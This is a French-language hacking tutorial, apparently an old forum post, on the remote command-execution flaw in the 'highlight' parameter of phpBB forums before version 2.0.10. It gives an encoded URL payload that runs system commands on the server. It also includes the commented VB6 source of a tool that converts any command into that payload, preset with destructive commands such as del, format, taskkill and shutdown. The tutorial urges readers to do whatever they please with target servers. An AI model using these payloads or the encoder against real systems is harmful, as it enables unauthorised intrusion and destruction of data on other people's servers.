Alors qu'est ce que cette faille highlight ? C'est une faille
qui touche tout les forum phpbb < v 2.0.10 (quand je dit tout... euh, ce qui
ne sont pas patchés !) Et qui vas permettre d'avoir un shell arbitraire sur
le serveur cible!
une "shell nianian" quoi ?
Shell = execution, grace a cette faille vous allez pouvoir executer tout ce
que vous voudrez sur le serveur cible !
Commen proceder ?
Alors la faille est contenue dans le fichier "viewtopic.php"... Je sais, ca
ne vous avance pas beaucoup mais c'est bon a savoir pour la culture general
!
Sur les forum phpbb il est possible d'effectuer une recherche, et, apres avoir
effectuer une recherche sur un mot vachement courant comme "bonjour" ou autres,
de multiples choix de topic arrivent devant vos yeux ebahis. Quoi de plus normal
me diriez vous ? Et je vous repondrez de continuer a lire...
Cliquez sur n'importe lequel des resultat, et vous accederez au topic dans
lequel a été trouvé le mot a rechercher, ici "boujour".
Attention, on en arrive a la faille ! Vous pouvez voir aussi que le mot bonjour
est en gras !!! Et que l'url finira comme ceci "&highlight=bonjour"
!
C'est la que reside la faille !
On vas pouvoir replacer "bonjour" par n'importe quel commande DOS ! C'est t'y
pas zoli ca ? grace a cela vous pourrez faire ce que bon vous semble du serveur
!
Alors petit probleme, c'est que la commande aura une syntaxe assez specialle...
Par exemple, il ne faudra pas faire
&highlight=dir
Mais
&highlight=%2527%252esystem(chr(100)%252echr(105)%252echr(114))%252e%2527
Oula... Un peu compliqué tout ça non ? Mais alors comment savoir
l'équivalent correct d'une commande ??
Et bien j'ai pensé a tout ! je vous ai programmé en vb6 un petit exploit qui
vous permetra de "transcrire" n'importe quel commande (dir, del, format...etc.)
en son equivalent correct ( chr(100)%252echr(105)%252echr(114))%252e%2527 ...etc.)
Pour l'exploit cliquez ][ I C I ][
¯¯¯¯¯¯¯¯¯
Sur ce, ammusez vous bien !
Euh, juste, ci-dessous, la source de l'exploit commentée
Private Sub Command1_Click() ' des que l'on cliquera sur le bouton command1
...
If Text1.Text <> "" Then
Text2.Text = "" 'réinitialisation de la zone de texte "resultat"
Text2.Text = "%2527%252esystem(" 'voici le debut de notre "requette"
'qui reste inchangée
'quelque soit la commande
Dim a As String 'declaration de la variable qui vas contenir
'toute les lettres une a une de notre commande a
'traduire
For intI = 1 To Len(Text1.Text) 'debut de la boucle qui vas se repeter autant
de fois
'qu'il y a de caractères dans la zone de text qui
'contient notre commande
a = Mid(Text1.Text, intI, 1) ' la variable "a" est egale au premier
caractère
' de la zone de texte qui contient la commande
'au premier tour de boucle, le deuxiemme caractère
'au deuxieme tour de boucle...etc.
If intI <> Len(Text1.Text) Then 'si intI (qui est egale au nombre de
fois
'que c'est repété la boucle) est different
'du nombre de caractères que contient la zone de texte
'qui contient la commande
Text2.Text = Text2.Text & "chr(" & Asc(a) & ")%252e"
' alors la zone de texte du resultat est egale a elle
' meme ainsi que "chr(Le_Code_Ascii_du_caractère_contenu_dans_a)%252e"
Else 'autrement
' la meme chose mais sans le )%252e final !
Text2.Text = Text2.Text & "chr(" & Asc(a) & ")"
Exit For ' et on sort de la boucle
End If ' fin de la condition
''''''''''''''
Next intI ' delimite la boucle
Text2.Text = Text2.Text & ")%252e%2527" ' des que tout ca est fini, ou rajoute ca au resultat
Else
MsgBox "Oh ! Il faut metre quelquechose dans la zone de texte boudiou
!"
End If
End Sub ' action terminée
Private Sub Command2_Click()
MsgBox "Merci beaucoup ice' ! Cette exploit je ne l'aurais jamais créer
sans tes conseils"
End Sub
Private Sub Command3_Click()
Text1.Text = Combo1.Text
End Sub
Private Sub Form_Load()
Combo1.AddItem "dir"
Combo1.AddItem "qprocess"
Combo1.AddItem "tasklist"
Combo1.AddItem "qprocess"
Combo1.AddItem "net stop"
Combo1.AddItem "tskill"
Combo1.AddItem "taskkill"
Combo1.AddItem "del"
Combo1.AddItem "format"
Combo1.AddItem "shutdown"
End Sub